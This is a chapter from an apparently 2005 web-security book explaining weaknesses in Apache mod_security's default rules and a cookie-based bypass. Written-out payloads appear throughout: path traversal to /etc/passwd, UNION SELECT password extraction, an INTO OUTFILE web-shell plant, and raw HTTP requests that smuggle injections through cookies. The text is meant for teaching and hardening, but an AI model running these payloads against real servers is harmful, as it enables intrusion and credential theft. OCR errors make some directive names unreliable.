The Apache mod_security Module

The Apache mod_security Module

The mod_security module is a module of the Apache HTTP server designed to increase the security level of the server. When it comes to using this module for this purpose, it is worth describing what the mode is and what advantages it has.

The module is a sort of an additional filter between the HTTP server and a user . If an HTTP request conforms to certain internal security rules, it is allowed into the Apache server transparently to the server and the scripts running on it. If a request doesn't conform to these rules, it is rejected and the client receives a message about an internal server error.

The internal security rules applied to incoming HTTP requests are entirely defined in the configuration file of the mod_security module. That is, an incorrect configuration can reduce the effect of this module to naught. To configure the module correctly, you should clearly understand dangers for scripts and methods that can be used by attackers .

However, if you understand, which dangerous data should be barred, you can filter these data with your own scripts. What's more, the use of your scripts for this purpose will be more flexible and compatible with the data you receive using HTTP.

The mod_security module comes with a few default configurations. It is likely that a particular system is using one default configuration because the cost of creating an original configuration is compatible with that of writing security scripts.

Look at one default configuration, image from book  httpd.conf . example-minimal , that comes with mod_security version 1.7.3. It contains the following directives:

  • SecFllterEngine on simply turns on the filtration. No rules are set here.

  • SecAuditILog/var/log/httpd-security. log specifies the log file.

  • SecFllterScanPOST on tells that POST parameters should be filtered.

  • SecFilterDefaultAction "deny, log, status: 500 " specifies the default action.

That's all. No filtered are defined. The use of the image from book  httpd.conf . example-minimal default configuration doesn't give additional security to the system.

You can make sure that the mod_security configured in such a manner will pass all potentially dangerous requests:

  • http://server/test.php?file=/etc/passwd

  • http://server/test.php?file=../../../etc/passwd

  • http://server/test.php?file=../../../etc/passwd%00

  • http://server/test.php?id=2+union+select+null,null/*

  • http://server/test.php?id=2+union+select+user password+from+mysql.user/*

  • http://server/test.php?id=2+union+select+user,password+from+mysql.user%00

  • http://server/test.php?id=2'+union+select+user,password+from+rnysql.user/*

  • http://server/test.php?id=2'+union+select+'<?+system($_GET[cmd])+?>'+into+outfile+ '/ var/http/server/cmd.php'+from+testtablel/*

All these requests will reach both the HTTP server and the script.

Now, look at another default configuration of the mod_security module. It is called image from book  httpd.conf . example-full . As you can guess from its name , it includes as many checks as possible. It uses several directives.

The SecFilterEngine On directive turns on the filtration.

Here, I'd like to mention that the attacker can detect the mod_security module from its responses. For example, it will respond with 500 - internal server error to the http://site/?etc/passwd request and return a page like http://site/ to the http://site/?etc/passwd request.

In other words, the attacker can disclose the mod_security module by creating requests dangerous to certain scripts, sending them to scripts that won't suffer from these requests, and analyzing the server's responses. In addition, information about the module can be contained in the response header.

The SecFlltercneckURLEncoding On directive tells that the names and values of parameters in HTTP requests should be URL-encoded. When this directive is on, the http://site/?etc/passw%64 request will cause an error message; otherwise , it won't.

If you decide to use this module for protection, turn on this directive. Otherwise, the attacker will circumvent all checks by URL-encoding the data he or she sends.

The SecFilterForceByteRange 32 126 directive specifies the range for characters that can be included into an HTTP request. Here, these are printable ASCII characters. Note that this range doesn't cover the characters of some national alphabets.

Enabling this directive will automatically repel most hacker attacks. However, this will hamper normal functionality of the system, such as through the following:

  • It will be impossible to include some characters of national alphabets into HTTP GET and POST parameters.

  • It will be impossible to send multiline data in forms (e.g., textarea form fields).

  • It will be impossible to load files.

  • It will be impossible to use the multipart/form-data forms.

These restrictions are crucial for normal functionality of the system. What's more, only HTTP GET and POST parameters of HTTP requests are filtered. COOKIE values can contain any data, and the attacker sometimes can change the COOKIE values.

Systems seldom benefit from the use of this directive.

The following directives specify log files and set the debug levels:

 SecAuditLog /var/log/audit_log    SecFilterDebugLog /var/log/modsec_debug_log    SecFilterDebugLevel 0 

The SecFilterScanPOST On turns on filtration of HTTP POST parameters. The following two directives define particular filters:

 SecFilter /etc/passwd    SecFilter "\.\./" 

These filters reject attempts to access a script if an HTTP GET or POST request includes the / etc/passwd or .. / sequence.

The /etc/passwd is not the only file of interest to an attacker. In general, it is pointless to protect only this file on a vulnerable server. In any case, the attacker can try to get the contents of this file using other methods, for example, by exploiting the SQL injection vulnerability. In addition, if the attacker can execute any command on the server (using PHP shell or another method), he or she can bypass this filtration with commands like the following:

  • http://site/cmd.php?cmd=ln+-s+/etc/+/tmp/xtc/

  • http://site/cmd.php?cmd=cat+/xtc/passwd

Filtration of the ../ sequence can make it difficult for the attacker to exploit vulnerabilities related to file names. However, there are situations, in which the attacker doesn't need to use this sequence, for example, if he or she can use absolute paths. Moreover, in Windows operating systems a backslash that isn't rejected by this filter can be used. So, there are a lot of situations that make these filters ineffective or useless.

The configuration file also includes directives that detect attempts to attack the XSS vulnerability:

 SecFilter "<[[:space:]]*script"    SecFilter "<(.\n)+>" 

In Chapter 5 devoted to XSS, I demonstrated how the attacker can exploit the XSS vulnerability when the script keyword and the < and > characters are filtered.

Therefore, including these directives will never protect you from attacks on a vulnerability of this type.

The next directives in the configuration files are intended to protect the server from the SQL injection vulnerability:

 SecFilter "delete[[:space:]]+from"    SecFilter "insert[[:space:]]+into"    SecFilter "select.+from" 

As you can see, these directives filter only HTTP requests whose GET and POST parameters include the insert, delete , and select SQL queries.

This is useful, but there are other SQL queries that can be destructive for system. The following queries aren't filtered:

  • update

  • alter table

  • drop table

  • drop database

  • create table

  • create database

  • show

In addition, the attacker sometimes can make queries retrieving information from the database. For example, in Chapter 3 devoted to SQL injections (in the section about the SQL injection in the SQL Server 3.x), I describe techniques for retrieving information from the database without the use of union select from queries. Practically all of those techniques will work despite this filtration.

The other two default configurations lie somewhere between the minimal and the full configurations.

Summarizing, I would say the following:

  • When a default configuration is used, neither minimal nor full configuration provides proper security. The attacker can bypass all default filters by applying one or another method.

  • Some types of potentially dangerous requests aren't filtered

  • Although the default settings of the mod_security module are ineffective, the use of some filters would limit the system's functionality. In some cases, certain functions won't work.

  • By customizing the configuration of the mod_security module, you can achieve an acceptable security level. However, it will always be lower than the level you can achieve with your scripts.

  • In some cases, the mod_security module cannot solve certain security problems. I'll explain this issue later in this chapter.

  • Filters used by the mod_security module can decrease the system's functionality.

Finally, I cannot imagine a system, in which the use of this module would be advantageous. On its own, the module isn't that bad. However, a necessary security level in a Web application can be achieved only inside the Web application, not with an external module that is not "aware" of which requests can be dangerous to a particular script.

The only situation, in which you can use this module, is a system with scripts written by different people, and you cannot check each script for security. However, you should be aware of the following:

  • The module doesn't guarantee complete security, and a persistent attacker always can gain control over the system (if there are vulnerable scripts).

  • You cannot be sure that all scripts will work without failures after the module is enabled.

A Universal Method for Circumventing the mod_security Module

With most configurations of mod_security , an attacker can bypass filters set in this module. Circumventing the mod_security module is possible because the module filters HTTP GET and POST parameters. Sometimes, POST parameters aren't filtered (e.g., their filtration is disabled by default).

However, elements of an HTTP request other than GET or POST parameters can include malicious data. For example, malicious data can be embedded into COOKIE parameters of an HTTP request. By default, the mod_security module doesn't filter COOKIE parameters.

Remember certain configuration feature of the PHP interpreter. The register_globals directive is used for automatic registration of GET , POST , COOKIE , and other HTTP parameters. The variables_order directive sets the list and the order of parameters that should be automatically registered as global variables .

Warning 

In some PHP versions, automatic registration is enabled by default.

Consider a script typical for receiving external data. Suppose that the automatic registration is enabled.

Warning 

To test this example using the software presented on the accompanying CD-ROM, install and configure it (e.g., use the image from book  httpd.conf .example-full configuration).

http://localhost/6/2.php

 <?  if(empty ($id))  {   echo "   <form>   Enter ID (integer)<input type=text name=id><input type=submit>   </form>  ";  exit;  }  echo "You entered id=$id";  include("./data/$id.php");  echo "<hr>";  mysql_connect("localhost", "root", "");  mysql_select_db("book1");  $sq="select * from test1 where id=$id";  $q=mysql_query($sq);  if(!$q) die("Database access error:<br>$sq");  if($r-mysgl fetch_object($q))    echo $r->name;  else echo "Records not found";  ?> 

Disable the mod_security module and check the script for vulnerabilities

http://localhost/6/2.php?id=1

You entered id=1

------------------------------------------------------------------------

This is the first data file

------------------------------------------------------------------------

John Smith

http://localhost/6/2.php?id=1'

You entered id=l'

-----------------------------------------------------------------------

Warning: main(./data/1'.php): failed to open stream: No such file or directory in x:\localhost\6\2.php on line 12

Warning: main(): Failed opening './data/1'.php' for inclusion (include_path='.;c:\php4\pear') in x:\localhost\6\2.php on line 12

-----------------------------------------------------------------------

Database access error:

select * from test1 where id=1'

http://localhost/6/2.php?id=2-1

You entered id=2-l

-----------------------------------------------------------------------

Warning: main(./data/2-/.php): failed to open stream: No such file or directory in x:\localhost\6\2.php on line 12

Warning: main(): Failed opening './data/2-/.php' for inclusion (include_path='.;c:\php4\pear') in x:\localhost\6\2.php on line 12

-----------------------------------------------------------------------

John Smith

http://localhost/6/2.php?id=9999+union+select+id,pass+from+passwords/*

You entered id=9999 union select id,pass from passwords/*

-----------------------------------------------------------------------

Warning: main(./data/9999 union select id,pass from passwords/*.php): failed to open stream: No such file or directory in x:\localhost\6\2.php on line 14

Warning: main(): Failed opening './data/9999 union select id,pass from passwords/*.php' for inclusion (include_path='.;c:\php4\pear') in x:\localhost\6\2.php on line 14

------------------------------------------------------------------------

passadminl

http://localhost/6/2.php?id=../data.txt%00

You entered id=../data.txt

-----------------------------------------------------------------------

This file contains passwords. An external user shouldn't access it.

-----------------------------------------------------------------------

Database access error:

select * from test1 where id=../data.txt

http://localhost/6/2.php?id=%3Cscript%3Ealert('hello')%3C/script%3E

You entered id=

-----------------------------------------------------------------------

Warning: main(./data/.php): failed to open stream: Invalid argument in x:\localhost\6\2.php on line 14

Warning: main(): Failed opening

'./data/<script>alert('hello')</script>.php' for inclusion (include_path='.;c:\php4\pear') in x:\localhost\6\2.php on line 14

-----------------------------------------------------------------------

Database access error:

select * from test1 where id=

In the last example, a JavaScript alert with the "hello" text was output.

This script has a lot of vulnerabilities of various types.

The received id value is output without filtration to the generated page. This is the XSS vulnerability.

Then the ./data/$id.php page is included, and the $id value isn't filtered. That entails a vulnerability of the PHP local source code injection type. This vulnerability can be used to execute any code with the privileges of the user who started the HTTP server. In addition, the vulnerability can be used to read files.

The same id parameter carries a vulnerability of the SQL injection type to the MySQL database. The attacker can exploit this vulnerability to retrieve any data from the database.

One of these examples retrieves a user's password from the passwords table.

Now, enable the mod_security module and configure it, for example, with the image from book  httpd.conf . example-full default configuration. Make a series of requests.

http://localhost/6/2.php?id=1

You entered id=1

-----------------------------------------------------------------------

This is the first data file.

-----------------------------------------------------------------------

John Smith

http://localhost/6/2.php?id=1'

You entered id=l'

---------------------------------------------------------------------------------------------------------

Warning: main(./data/1'.php): failed to open stream: No such file or directory in x:\localhost\6\2.php on line 12

Warning: main(): Failed opening './data/1'.php' for inclusion

(include_path='.;c:\php4\pear') in x:\localhost\6\2.php on line 12

---------------------------------------------------------------------------------------------------------

Database access error:

select * from test1 where id=1'

http://localhost/6/2.php?id=2-1

You entered id=2-l

-----------------------------------------------------------------------

Warning: main(./data/2-l.php): failed to open stream: No such file or directory in x:\localhost\6\2.php on line 12

Warning: main(): Failed opening './data/2-l.php' for inclusion

(include path ='.;c:\php4\pear') in x:\localhost\6\2.php on line 12

-----------------------------------------------------------------------

John Smith

http://localhost/6/2.php?id=9999+union+select+id,pass+from+passwords/*

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

http://localhostl6/2.php?=../data.txt%00

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

http://localhost/6/2.php?id=%3Cscript%3Ealert('hello')%3C/script%3E

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

As you can see, the mod_security module doesn't prevent errors in the examples aimed at detecting vulnerabilities. However, when an example tries to exploit the vulnerabilities (as in three last requests), you can infer that the mod_security module rejects dangerous requests.

Note that the http://localhost/6/2.php script doesn't explicitly specify whether id should be an HTTP GET , POST , or COOKIE parameter.

Although the GET and POST parameters are filtered with the mod_security module, the COOKIE parameter isn't. Create an HTTP GET request with appropriate COOKIE values and examine the result.

id=9999+union+select+id,pass+from+passwords/*

 GET /6/2.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707 Cookie: id=9999+union+select+id,pass+from+passwords/* Accept:  */*  Accept-Language: en-us Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 3000 Connection: keep-alive <empty line> HTTP/1.1 200 OK Date: Sat, 04 Dec 2004 13:35:59 GMT Server: Apache X-Powered-By: PHP/4.3.6 Keep-Alive: timeout=15, max=50 Connection: keep-alive Transfer-Encoding: chunked Content-Type: text/html <empty line> le4 You entered id=9999 union select id,pass from passwords/*<hr> <br /> <b>Warning</b>: main(./data/9999 union select id,pass from passwords/*.php): failed to open stream: No such file or directory in <b>/usr/local/www/test/2/2.php</b> on line <b>14</b><br /> <br /> <b>Warning</b>:  main(): Failed opening './data/9999 union select id,pass from passwords/*.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/usr/local/www/test/2/2.php</b> on line <b>14</b><br /> <hr> passadminl 0 

id=../data.txt%00

 GET /6/2.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707 Cookie: id=../data.txt%00 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 3000 Connection: keep-alive <empty line> HTTP/1.1 200 OK Date: Sat, 04 Dec 2004 13:39:47 GMT Server: Apache X-Powered-By: PHP/4.3.6 Keep-Alive: timeout=15, max=50 Connection: keep-alive Transfer-Encoding: chunked Content-Type: text/html <empty line> ba You entered id=../data.txt<hr> This file contains passwords. An external user shouldn't access it. <hr> Database access error:<br>select * from test1 where id=../data.txt 0 

id=%3Cscript%3Ealert('hello')%3C/script%3E

 GET /6/2.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707 Cookie: id=%3Cscript%3Ealert('hello')%3C/script%3E Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 3000 Connection: keep-alive <empty line> HTTP/1.1 200 OK Date: Mon, 06 Dec 2004 13:04:35 GMT Server: Apache X-Powered-By: PHP/4.3.6 Keep-Alive: timeout=15, max=50 Connection: keep-alive Transfer-Encoding: chunked Content-Type: text/html <empty line> 22a You entered id=<script>alert('hello')</script><hr> <br /> <b>Warning</b>:  main(./data/<script>alert('hello')</script>.php): failed to open stream: No such file or directory in <b>/usr/local/www/test/2/2.php</b> on line <b>14</b><br /> <br /> <b>Warning</b>:  main(): Failed opening './data/&lt;script&gt;alert('hello')&1t;/script&gt;.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/usr/local/www/test/2/2.php</b> on line <b>14</b><br /> <hr> Database access error:<br>select * from testl where id=<script>alert('hello')</script> 0 

As you can see from these examples, an attacker can exploit various vulnerabilities in the image from book  2.PHP script by embedding malicious data into COOKIE parameters. This will allow him or her to circumvent the mod_security module.

Let me summarize. Circumventing the mod_security module is possible if the following are true:

  • There is a vulnerability in a PHP script. A vulnerable script can be written in another programming language if the next item is met.

  • The PHP interpreter is configured so that automatic registration of global variables is enabled, and the COOKIE parameters are registered as global variables.

  • The PHP scripts use automatically registered global variables and don't use global arrays, such as $_GET , $_POST , and others that explicitly indicate , which method should be used to receive a particular parameter.

  • The mod_security module is used with a default configuration or with a configuration similar to default.

Note 

In some cases, this method is ineffective for circumventing vulnerabilities related to loading files because loaded files are sent using the HTTP POST method.



Hacker Web Exploition Uncovered
Hacker Web Exploition Uncovered
ISBN: 1931769494
EAN: N/A
Year: 2005
Pages: 77

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net